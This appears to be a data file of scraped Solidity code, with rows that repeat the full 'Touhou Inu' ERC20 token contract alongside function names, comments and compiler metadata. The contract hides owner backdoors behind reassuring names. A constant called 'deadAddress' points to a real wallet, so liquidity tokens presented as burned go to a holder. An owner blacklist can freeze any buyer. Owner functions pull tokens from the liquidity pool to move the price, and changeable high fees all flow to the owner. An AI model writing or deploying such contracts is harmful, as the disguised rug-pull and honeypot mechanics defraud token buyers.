if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | disableTransferDelay | function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
| // disable Transfer delay - cannot be reenabled | LineComment | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
5876,
6015
]
} | 8,948 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | TouhouInu | contract TouhouInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xfaE435dD8CF22b997854dDD427A4A373aeDe0F49);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = false;
bool public tradingActive = true;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
// uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Touhou Inu", "TOUHOU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 18;
uint256 _sellLiquidityFee = 8;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 12;
uint256 _earlySellMarketingFee = 16;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
maxWallet = totalSupply * 6 / 1000; // .6% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
// if (block.number <= (launchedAt + 1) &&
// to != uniswapV2Pair &&
// to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
// ) {
// _blacklist[to] = true;
// }
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | updateSwapTokensAtAmount | function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
| // change the minimum amount of tokens to sell from fees | LineComment | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
6193,
6579
]
} | 8,949 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | TouhouInu | contract TouhouInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xfaE435dD8CF22b997854dDD427A4A373aeDe0F49);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = false;
bool public tradingActive = true;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
// uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Touhou Inu", "TOUHOU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 18;
uint256 _sellLiquidityFee = 8;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 12;
uint256 _earlySellMarketingFee = 16;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
maxWallet = totalSupply * 6 / 1000; // .6% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
// if (block.number <= (launchedAt + 1) &&
// to != uniswapV2Pair &&
// to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
// ) {
// _blacklist[to] = true;
// }
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
